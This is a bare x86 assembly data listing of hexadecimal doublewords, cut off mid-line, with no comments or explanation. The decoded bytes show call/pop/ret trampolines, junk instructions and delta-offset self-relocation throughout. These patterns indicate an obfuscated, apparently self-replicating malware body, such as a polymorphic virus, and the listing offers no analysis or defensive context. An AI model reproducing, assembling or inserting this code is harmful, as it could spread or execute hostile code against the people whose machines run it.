20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 8921C357h dd 0C38B1056h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 67C35545h, 0B5D2BC70h, 104E8C1h, 2206B59Dh, 0E2F76606h dd 7E9h, 66B99F00h, 3AE590BAh, 7E9h, 0C8310D00h, 0E33F9F08h dd 0B531D82Bh, 6222575h, 52505093h, 10E9h, 53241900h, 1929D16Eh dd 0E94D6B3Ah, 0C6F964F7h, 66310F9Dh, 5A0957BFh, 0FFF89358h dd 220F99B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0BA36A7C4h, 5D606440h, 95FF6306h dd 6223075h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0BDC35343h, 3552EA32h, 89576100h, 222D0995h, 6A00B006h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8B38C351h, 222821BDh, 8B70E606h, 6671E4F3h dd 46E2CE81h, 830F613Ch, 25Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0C4C35040h, 0F8F9CE3Eh, 96109E35h dd 0B60FF38Bh, 4194BED8h, 6BA3C7Ah, 8B000000h, 6AC38BF9h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 24C7C351h, 0C833C131h, 0BD8B5E4Ah, 6220509h dd 6A04E8C1h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0A581C351h, 4ADD949h, 2BE2F766h dd 868BFD8h, 0BD097715h, 622216Dh, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0F99529F7h dd 2B06221Dh, 9F880FD8h, 6A000001h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 26F0C357h dd 63FF1914h, 2B0FD5FDh, 2A31BD8Bh, 7B90622h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 99B1C353h, 0C18376ECh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0BE851BD3h dd 37E4836Ch, 0AE9C3h, 98040000h, 0D07FA7B3h, 0EBBDE01Bh dd 860FD93Bh, 112h, 19E5B58Bh, 8C660622h, 57006AD9h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 557D15D5h, 550CC57Eh, 38A0Fh, 8B660000h, 3CDF81F7h dd 0F605DDB1h, 840F04C1h, 0CAh, 20C995FFh, 0B5890622h dd 622246Dh, 1F810Fh, 13E80000h, 0AE000000h, 0AB95207Dh dd 0B7C6C35Fh, 44B0EED2h, 8220D48Ch, 0BD0B6A10h, 62213CDh dd 6A5B5Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 9F7142C3h, 0CF3F5BEEh, 0F38BC3BBh, 0BE9C32Bh dd 1A000000h, 14C9170Eh, 2C6D41Ah, 343D8278h, 0F000008h dd 5586h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 3DD11A7Bh, 0B78D9900h, 31E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 275166AEh, 5484BF0Ch, 0F6037CEh, 81h, 0C08B6100h, 0C38BF28Bh dd 8B53D88Bh, 85C75FF2h, 622159Dh, 1F02DF15h, 0C08BF28Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 75C35343h dd 18E0F68h, 0F8000000h, 0F99BD81h, 7D00622h, 850F0000h dd 39h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h dd 2DC35141h, 6331BF66h, 0F9985FFh, 8E90622h, 0CF000000h dd 650019FFh, 8B6865F9h, 222659BDh, 99B5FF06h, 6A06220Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0A73FC352h, 0FFF8948Bh, 22307595h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0F8B70F37h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 9D89B115h, 6221D39h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DEC35040h, 3E1EF9CCh dd 0C6FE86E0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 7FC35747h, 0D3F585C0h, 559D89BEh, 6606222Ah, 0FBEDD681h dd 0FD9D89F5h, 6A062230h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0CC7CC350h, 0F9408B7h dd 683h, 79BD8B00h, 0F062230h, 820FFAB7h, 5, 0E179BCBEh dd 8B666041h, 6D8D01DEh, 8B062213h, 0D78161CBh, 22FBBDD4h dd 6A5FFC56h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0A04AC352h, 58EFB22Ah, 6015BE1Dh dd 0F08B4494h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 6C35141h, 26EEF067h, 4464540Ah, 0F855E9C0h, 6AFFFFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 5BA6A3C3h, 0FC4A36F7h, 8BDF5F57h, 53006AC1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 90FA3ED8h dd 0F0EE12A5h, 0BF0FF6EFh, 4EBF6h, 89000000h, 222051B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0A9105757h, 74315BBh, 8E0F4Dh, 8D000000h dd 222CB585h, 0D58D2906h, 1062210h, 2213C19Dh, 0E8525006h dd 5, 7715870Dh, 14E9F3h, 60190000h, 621142F8h, 0E304F663h dd 1A48BC66h, 0FF1E4820h, 5E5E3A9Eh, 6A240489h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 95896097h, 6220A81h, 14D1B58Bh, 6A610622h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0B9001DE5h, 0D5A73991h, 8E0F5E41h, 6, 3345BD8Bh, 858D0622h dd 6260EB8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h dd 0B2C35545h, 0A9414662h, 5C0833Ah, 8D0Fh, 50900000h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 936AA256h, 4A5BD01h, 6A0622h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E3C35747h, 0A1F4C767h dd 6A006AE4h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 2602C355h, 13B1E756h, 10E94Ch dd 0C39B0000h, 0D1E415A2h, 53A88EC7h, 551492D2h, 95FFAB0Fh dd 6223555h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0E4C35646h, 35906A21h, 0E92941C6h, 0F78B660Bh dd 1F11BD8Bh, 9D8D0622h, 625A90Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 3C35141h, 2AB32DA0h, 6622BE63h dd 0F370F681h, 85FFD3FFh, 62208B1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 18C35343h, 3AC373FBh, 0E6818F1Dh dd 62C61B82h, 740E9h, 0E800h, 815D0000h, 260EC2EDh, 47D5BF06h dd 0BD8179B5h, 6220F99h, 7D0h, 195860Fh, 95010000h, 62221EDh dd 4199D8Bh, 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 5EE902C3h, 1555FA45h, 60B167FDh dd 0C6EFD4BEh, 0B8C0F4Bh, 0E8000000h, 5, 0EBA2B1B4h, 8161595Bh dd 100E3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 4D5F5564h, 18ADE515h, 0BFBB70Fh dd 0DD850FDBh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 7C06C350h, 56BFF180h dd 0AE9h, 4846F00h, 2DBDDA49h, 5EAF79EEh, 0CA3BD83h, 0F000626h dd 4184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 41B2DCCBh, 6A9B441Dh, 0DE952h, 0C050000h dd 161AAE15h, 19A7BD84h, 0E9D27C18h, 78h, 184DBD2Bh, 85C70622h dd 6260CA3h, 1, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0CEC35343h, 0FE2736Ch, 41E9F2B7h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 27CBC357h, 32849D96h, 0BE66E00Bh, 0BD23AAB5h, 62204F1h dd 0CA385C7h, 626h, 5E90000h, 6B000000h, 30EFDA33h, 4199D8Dh dd 0EE90622h, 6A000000h, 4C715108h, 0D08FDDC8h, 5F0B1F8Bh dd 0FF238163h, 51FFFFFEh, 26B59501h, 665F0622h, 6ADB8Ch dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 270E6AC3h, 0AF3A6563h, 4C3F63Bh, 8C840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 7D37CEC3h, 0FFFA8B66h, 2220C995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 50CF4EBDh dd 8B66FD18h, 0BF6650F3h, 489FFD7h, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0F204D75Dh dd 0E9605D41h, 0Eh, 9DB663A2h, 4C9AEF64h, 0F8F334ABh, 0EA809E1Fh dd 0E8E9610Bh, 89000002h, 221FA99Dh, 31BD8B06h, 0B0062206h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 4DAE1E69h, 0E69EAB6Eh, 68C0F70h, 8B000000h dd 222015B5h, 2971E406h, 222855B5h, 58B0F06h, 60000000h dd 616160F8h, 60D8B60Fh, 25958B56h, 5A062200h, 58616052h dd 6BA61h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 4BAE74C3h, 0D6B88545h, 5DBD0B80h dd 8B062229h, 4E8C1C3h, 8BE2F766h, 2227FDB5h, 81D82B06h dd 9195FEFh, 9350933Dh, 1329B58Bh, 0B5FF0622h, 6220F99h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0FBC35747h dd 0B58B01B5h, 6220155h, 307595FFh, 0B50B0622h, 62234B5h dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0D0AF09C3h, 7F49636Bh, 70E6B702h, 11318509h dd 71E40622h, 0BE9h, 308F3D00h, 2571688Dh, 48086BB7h, 830F613Ch dd 1BBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 8AC35747h, 2B8076D5h, 0B60FA70Ah, 0E8E681D8h, 0BA409F0Dh dd 6, 1D79B52Bh, 880F0622h, 6, 0ED59589h, 0C38B0622h, 8904E8C1h dd 220245BDh, 0E2F76606h, 7CCF8166h, 6AD82BF8h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 21DBC352h, 0C040F637h, 29703A7Ch, 2800Fh, 0F98B0000h dd 0C820Fh, 810F0000h, 6, 31F1B58Bh, 89580622h, 2205C985h dd 0FD82B06h, 11688h, 11E900h, 7D560000h, 42653B58h, 2E42EFFCh dd 96952D5Ah, 0B9558C73h, 7, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 40C35646h, 77446EFh, 7D781A4h dd 830B6B6Fh, 8B6000C1h, 0D93B61F0h, 0C5860Fh, 8C660000h dd 0F6FE8BD9h, 840F04C1h, 95h, 1619589h, 95FF0622h, 62220C9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C35747h dd 0C5355933h, 52BE66B1h, 0F5FA8BEFh, 6DB58B5Bh, 2B062235h dd 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0BF667C1Ch, 0B5094DB9h, 62201E9h, 8343Dh dd 26860F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0E92AC355h, 27h, 48E357BFh dd 6AC08B47h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 84DFC353h, 8B57BD74h, 6AD88BC3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 40FEC352h, 6185C778h, 31062205h, 0F570479h dd 582h, 5503BF00h, 0C08B5868h, 1C719589h, 0B58B0622h dd 6221181h, 0F99BD81h, 7D00622h, 850F0000h, 2Fh, 0F9985FFh dd 6A0622h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 56E3F4C3h, 0DA19897Ah, 119D896Dh, 0FF062206h dd 220F99B5h, 298D8906h, 0FF062206h, 22307595h, 0EDB50106h dd 0F062215h, 689h, 11950900h, 90062200h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 0FCC35646h, 281070CBh dd 0E609F23h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 27C35343h, 336D9105h, 8D09B414h, 6222D79h, 1C71BE66h dd 0FE98D01h, 0B58B0622h, 62227C1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 5C35242h, 0E538EC5Bh, 0FB8B6612h dd 6AF98B66h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 26BBC350h, 0F7B70FBDh, 35858B60h dd 2306221Ah, 2220B1B5h, 15858B06h, 61062211h, 30FDBD89h dd 0B58B0622h, 6221819h, 3315B58Bh, 6A0622h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 294617C3h, 2218C5BDh, 20C68106h, 0F4B52E3h, 6AF3BFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0B1F8BC3h, 0CF9D635Fh, 0DAE9C8A9h, 60FFFFF8h, 6E8h dd 8DA9FA00h, 315FFAC7h, 22310985h, 0BD895E06h, 6220601h dd 0FC18B61h, 1481h, 0FE900h, 46050000h, 65951262h, 2C76697Ch dd 72555913h, 4EB59h, 0F000000h, 388h, 0F88B6600h, 1AA9BD8Bh dd 858D0622h, 6222CB5h, 3551B58Bh, 66900622h, 50C7E6BEh dd 3053BE66h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 91C555AAh, 663D0CADh, 0A2DCDE81h dd 2890F60h, 60000000h, 2D858B61h, 6106221Ch, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 6E2D3DC3h, 0B36E854Bh, 0C7816650h, 815FC250h, 939396D6h dd 6A006A3Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 6D37C353h, 0F2D0A89h, 380h, 0F2BF0F00h dd 17CF858Dh, 10E90626h, 70000000h, 9F232810h, 0F9BD0E60h dd 50667F4Dh, 81C19CE9h, 0A2B19ACFh, 5C08321h, 6690F28Bh dd 6650F78Bh, 6A90F98Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0DDB2C352h, 758173A1h dd 99D89E6h, 6A062214h, 0F6816600h, 6AFAF8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 37C35343h, 0F8DD79Ch dd 38Ch, 0F0BF0F00h, 355595FFh, 6A0622h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 253057C3h dd 7326D940h, 0A8BE669Ch, 0F9D8D9Fh, 8B0625A9h, 220629B5h dd 0FD3FF06h, 85FFF7B7h, 62208B1h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 73C35646h, 3D758E8Ah, 2EC1B25Ch dd 1CA5B509h, 0E9FC0622h, 771h, 0E8h, 0ED815D00h, 62617D9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 51C35545h dd 89CAFFEAh, 0BE4A66C9h, 2FF09D0Eh, 0F99BD81h, 7D00622h dd 860F0000h, 144h, 13DBD89h, 9D8B0622h, 6222965h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 60C35646h, 83397522h dd 0C0B7EA3h, 0C59D09A3h, 81062207h, 100E3h, 0DF816600h dd 0DB0B2A8Dh, 96850Fh, 0B5890000h, 62231C9h, 161BBD83h dd 0F000626h, 5084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0D4E07CE6h, 2FADB589h dd 88E90622h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 92C9C356h, 457934F9h dd 3BDF359Bh, 1B85C7F9h, 1062616h, 60000000h, 58CA8B50h dd 13E9h, 0F356EA00h, 0E3EFA302h, 5C58163h, 0BF37B0F7h dd 25E35959h, 35E961h, 0BD0B0000h, 622028Dh, 161B85C7h dd 626h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 277CFBC3h, 2A6553B1h, 8D7CD785h dd 2229659Dh, 31B58B06h, 81062222h, 0FFFEFF23h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0DE81BC6Ch, 2C8C83D8h, 6ADB8C66h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 4544C350h dd 0C3F63F78h, 52840F04h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EDC0C357h dd 0DE72981Dh, 0B8C0Fh, 89600000h, 221D85BDh, 0D78B6606h dd 0C995FF61h, 8B062220h, 220621B5h, 0BF665006h, 4895573h dd 6880F24h, 89000000h, 2220A98Dh, 3CBE906h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0D9BC0DC3h, 8304169Ah, 3161F7BCh, 221C15BDh, 13E806h dd 507D0000h, 7941F6C6h, 0ECB22988h, 92221741h, 0CE757984h dd 4DBD8B46h, 5F06221Dh, 6A00B0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 83CCC8C3h, 0DB524884h dd 6A70E6B0h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0E3CBC356h, 7388D31Fh, 30519589h dd 71E40622h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 33C35040h, 0F63A52E1h, 2ABEDE8Dh, 0E90E922Bh, 0Bh dd 1FF9FF6Fh, 0C6C5F8A9h, 0FE431D1h, 870FD8B6h, 6, 0AFF5F781h dd 6BA6A03h, 0F5000000h, 0B58BC38Bh, 6220F0Dh, 8B04E8C1h dd 221A29BDh, 0E2F76606h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 91C35040h, 0CDFE2F2Eh, 8B66EDEFh, 66D82BF7h dd 0BE93F08Bh, 128D9D86h, 5E850h, 9FC90000h, 60F318F6h dd 81BE5851h, 6173BA42h, 0F18B935Eh, 0F99B5FFh, 6A0622h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 3FCECCC3h, 710DF218h, 89F64A50h, 2205258Dh, 7595FF06h dd 6A062230h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 8E67C357h, 20B21508h, 6600B0B0h dd 0E6C596BEh, 0F7BF0F70h, 6A71E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0AE556DC3h dd 5AC7AD5Ah, 3CE6689Ch, 0F6830F61h, 81000001h, 3A4BB6F7h dd 0FFB8B0Ch, 850FD8B6h, 0Ch, 6800Fh, 95090000h, 622032Dh dd 6BAh, 0D958900h, 8B062222h, 799509C3h, 0C1062200h, 0BF6604E8h dd 0F7667E76h, 57006AE2h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0D82BA91Ah, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1EC35141h, 8958F88Bh dd 2233458Dh, 0FD82B06h, 17088h, 0C8F0F00h, 0F000000h dd 68Ah, 0FDB58B00h, 0B9062219h, 7, 6E9h, 0D12D5E00h, 83B435EEh dd 6A00C1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0D93B4AC3h, 127860Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 26034DC3h dd 6880FF5h, 89000000h, 2209E185h, 0D98C6606h, 0ED1B52Bh dd 0C1F60622h, 0CD840F04h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0EAAEC352h dd 0E0F448C6h, 0BF0F31DCh, 0C995FFF3h, 6A062220h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 9F63C350h, 0A6BA9A0h, 0E0335E7h, 0D638BF51h, 0F55F5F74h dd 53006A5Bh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0E2065AD1h, 8DCFA161h, 5E9C32Bh, 17000000h dd 0F50F3F9Bh, 1890Fh, 3DF80000h, 834h, 32860Fh, 0FA8B0000h dd 48E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 604EAC02h, 1C998D8Bh, 81660622h dd 61DC63F2h, 0FE8C08Bh dd 40000000h, 0DAFF7A54h, 9FBAAF13h, 30DDBBB1h, 0BD8B28ABh dd 62231F1h, 8BC38B5Fh, 0C7F18BD8h, 22041985h, 1465FD06h dd 8BF78B5Ch, 0F1BD8BC0h, 8106221Ah, 220F99BDh, 7D006h dd 16850F00h, 0FF000000h, 220F9985h, 0BF0F6006h, 0E88166C6h dd 89617F5Ah, 221B5585h, 99B5FF06h, 2906220Fh, 2207F5B5h dd 7595FF06h, 6A062230h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 33CFC356h, 31F9B70Fh dd 222895B5h, 0BD899006h, 6220A89h, 1FDB533h, 0B5010622h dd 622027Dh, 200DBD0Bh, 6A0622h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0E7FABFC3h, 8EBFB665h dd 6AFA8B66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 6632C357h, 7DC5692Dh, 7BEE7F05h dd 31B18D89h, 0B0600622h, 4F20B9A3h, 7E924C5h, 0DF000000h dd 0B82FDFEh, 6A617D10h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 1F44C350h, 0ADDE630Ah dd 8E9h, 352F2B00h, 7E9DE03Bh, 0C830F5Dh, 8B000000h, 220245B5h dd 51BD2B06h, 0F062219h, 681h, 15BD8B00h, 0E8062235h, 5 dd 3DAF0CB7h, 0F88B665Eh, 0B5B58B5Eh, 6A062229h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 125CC351h, 0FE93EDFh, 0F6000000h, 73E6126Dh, 0C7A35ADCh dd 565A01A0h, 0BD8BE3A3h, 62200BDh, 0FFF897E9h, 2860FFFh dd 8B000000h, 66C18BF2h, 3647EE81h, 4EBh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 36BE54C3h, 8151323Dh, 119CE9D6h, 57006A1Eh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 77DF2173h dd 0CEAE67BEh, 11E91Eh, 0E0E90000h, 0F2EAD2BBh, 4F4F9137h dd 1E27839Dh, 8D620C9Ch, 222CB585h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0BEBEF5BEh dd 3399D6Ch, 0F98B5090h, 72DE8190h, 6A63903Eh, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 673BA2E1h, 0B58BC7EFh, 6221969h, 8E0F006Ah, 6, 31158529h dd 858D0622h, 62620B3h, 17CEBE66h, 0BE8h, 936CEE00h, 0B2A13AAFh dd 2538AC54h, 5C0835Fh, 90FE8B66h, 4810Fh, 57530000h, 60505F5Eh dd 2446B5B8h, 6A90617Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0F602C356h, 8BD1F8A5h dd 0F006AF8h, 89h, 35BF6600h, 66006AA7h, 0FFB349BFh, 22355595h dd 810F06h, 8D000000h, 25A90F9Dh, 19BD8B06h, 0FF06220Bh dd 0F98B66D3h, 8B185FFh, 81660622h, 663FD4EEh, 0E909A9BFh dd 7EBh, 0E8h, 0ED815D00h, 62620BDh, 6820Fh, 0B5890000h dd 6220E55h, 0F99BD81h, 7D00622h, 860F0000h, 100h, 59D29h dd 9D8B0622h, 62207ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0B2C35242h, 4677C2A0h, 0B985094Ch, 81062226h dd 100E3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0E4403A6Ch, 8D897F52h, 62232DDh dd 0F28B6650h, 0FDB0B5Fh, 7185h, 835E5100h, 261F4EBDh dd 840F0006h, 10h, 0A338B1BEh, 68E945h, 0B58B0000h, 622010Dh dd 1F4E85C7h, 10626h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 62203C3h, 34E9FAh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 8478E4C3h, 1BFDBD89h, 85C70622h, 6261F4Eh, 0 dd 30199D29h, 9D8D0622h, 62207ADh, 4D9589h, 23810622h dd 0FFFFFEFFh, 6ADB8C66h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 3111C353h, 0B58B6B24h dd 6222D79h, 0FE9h, 36CAEA00h, 3F91B27h, 0E96AE032h, 0C25D8436h dd 0F04C3F6h, 3384h, 0DDB53300h, 0FF062226h, 2220C995h dd 8E906h, 0D80000h, 6C81D8EAh, 9D89A96Ch, 6220125h, 66525050h dd 0F4A58BFh, 89585A31h, 0BD892404h, 6220809h, 406E9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0BE0607F6h, 41D39C07h, 0C9D68166h, 0F8B70F9Fh dd 6A00B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 94847FC3h, 31233A21h, 0F98CF06h, 484h, 32BE6600h dd 6A70E6BDh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0E807C352h, 71E4F87Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0AC35747h, 0A1C5A555h dd 8932564Bh, 22162995h, 0D8B60F06h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0ACC35242h, 0AFAED0ACh, 2C79B589h dd 95890622h, 6222609h, 6BAh, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0C43629E4h dd 453E7D74h, 0D3D5CCBEh, 81C38B5Eh, 54F31FE6h, 4E8C11Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3EC35747h dd 0F766F541h, 50006AE2h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0E7EF8767h, 1AD67280h dd 0C7817A6Eh, 10A65022h, 89F8D82Bh, 2228C19Dh, 0A5BE9306h dd 501F48FAh, 7E960h, 0ECB0000h, 63F092B6h, 299361FCh dd 22260995h, 99B5FF06h, 6A06220Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 5C5BC355h dd 2F104DF0h, 7A2355C0h, 30E18D89h, 95FF0622h, 6223075h dd 2D1F6DBFh, 6600B03Fh, 0E6E683BEh, 57006A70h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0B44FF08Eh dd 5B6BA8B6h, 7890Fh, 0B8600000h, 0C1EE9E2h, 92CFBE61h dd 71E46D87h, 0EE9h, 9BEB6200h, 0B23A56A3h, 261A9EDFh dd 3CAB8FBEh, 0F0830F61h, 8B000001h, 2208F1B5h, 0D8B60F06h dd 1ADBD8Bh, 12E80622h, 0C7000000h, 0C94F3B0Ah, 44E1ED7Ch dd 0D6B7FAEFh, 4264AAD5h, 0BDB58B45h, 5F06221Eh, 6BAh dd 69B58B00h, 8B06221Fh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 